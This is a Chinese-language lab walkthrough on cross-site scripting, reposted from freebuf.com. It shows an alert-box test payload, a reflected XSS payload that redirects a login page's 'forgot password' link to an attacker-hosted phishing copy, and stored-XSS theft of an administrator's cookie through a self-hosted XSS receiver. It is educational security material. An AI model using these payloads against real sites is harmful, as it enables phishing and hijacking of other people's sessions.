XSS原理与利用 – 作者:Johnson666

一、实验环境

一台Ubuntu虚拟机作为靶机
一台Windows作为攻击机

二、XSS

1.测试管理界面(http://x.x.x.x/admin/login.php)是否存在XSS

先构造payload
payload:"><script>alert(1)</script>

然后插入到用户名的框里

image
点击登录,会先报“用户名或密码不正确”,然后成功弹窗
image

2.可以开始盗取cookie了
这里可以选择自己写js代码,也可以选择XSS平台。我比较菜,就选择了XSS平台。其中的利用操作在下面会统一介绍,请大家往下看~

三、钓鱼攻击

上一步验证得出,该页面存在XSS漏洞。接下来针对该漏洞进行修改链接属性实现跳转到钓鱼界面

1.我先模拟攻击者来编写修改”忘记密码“跳转页面的php脚本wjmm.php

在靶机里的忘记密码页面中按F12打开开发者工具,然后右键点击将前端代码全部复制下来
image
然后在真机的网站根目录下自己创一个wjmm.php,将刚才复制的粘贴下来,再将其中的管理员的联系电话改成我自己的,如下图。这里红框中在靶机里原本的前端代码为”gb2312”,我们要改成”utf-8”,不然实际跳转完后前面的中文会变成乱码
image

做好这些后,就要诱骗受害者了。这时候我们就要开始构造payload了
payload:(function和changeLink之间有空格)
"/><script>document.getElementsByTagName("body")[0].onload=function changeLink(){document.getElementById("myId").href="http://x.x.x.x/wjmm.php";}</script><a其中x.x.x.x为自己真机的ip

这里来解释一下payload的意思:
"/>将前面的username闭合掉后,服务器处理完前面的接下来就来处理我们后面的javascript脚本。其中document.getElementsByTagName("body")[0]就是去取html界面中的第一个body,加载后面的函数changeLink(),其中changeLink()是实现将myId这个元素的href值替换成http://x.x.x.x/wjmm.php,查看前端代码其实就可以发现myId其实就是“忘记密码”的元素。简单说就是将第一个body里myId中的href的值替换成http://x.x.x.x/wjmm.php,即实现点击”忘记密码“最后跳转到的是我们真机上的wjmm.php。

然后将payload和网址连接变成新网址,发送给受害者让他点击。新网址:http://127.0.0.1/admin/login.php?username="/><script>document.getElementsByTagName("body")[0].onload=function changeLink(){document.getElementById("myId").href="http://x.x.x.x /wjmm.php";}</script><a

我们可以来看看myId,下图
原本正常网址的myId:
image

输入我们构造payload后的新网址的myId:
image

然后发送给受害者点击,这里我再模拟受害者

原本点击”忘记密码“跳转的页面:

image

受害者点击”忘记密码“跳转的页面:
image

这时候就成功了。不过这种忘记密码联系管理员的方式现在已经很少见了,在以前应该比较多。如果你忘记了密码就要打我的电话,而不是管理员的电话,那我就可以来套路你了~

四、盗取cookie

写在前面

因为这里最近使用网上的XSS平台获取cookie的时候一直失败,如下截图中只能用第一个红框的payload,下面的都获取不到;而且第一个payload最后有返回值,但是其中没有cookie,去查看也没有httponly属性,所以这里下面我就用自己搭建的XSS平台来做,我用的是“BlueLotus_XSSReceiver蓝莲花”,个人感觉比XSS Platform好用,如何搭建也有写一篇文章

image

image

1.这里我用我自己搭建的平台来做:

点击“生成payload”,然后将其中的127.0.0.1修改成自己本机的ip地址

image

复制粘贴到靶机的文章管理系统的留言板上发表

image

这里提示要管理员审核才能看到

image

那我们就去后台看看
这里我们来到后台点击“留言管理”,查看到了这条留言

image

然后我们的XSS平台就接收到管理员的cookie和后台地址了,这就是存储型XSS的特点:只要管理员点击后台查看留言管理,即那个留言板中已经成功写入我们获取cookie代码的留言,我们就可以获取到管理员的cookie和后台地址

image

然后我们将那条留言点击已验证,这样所有人都可以在前台看到那条留言。这样我们再次回到前台留言处

image

然后发现XSS平台又收到一条新的cookie。这就说明了如果管理员审核通过,留言显示到前台后,别人只要点击这个页面我们也能获取到别人的cookie

image

来源:freebuf.com 2021-04-13 19:52:21 by: Johnson666

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论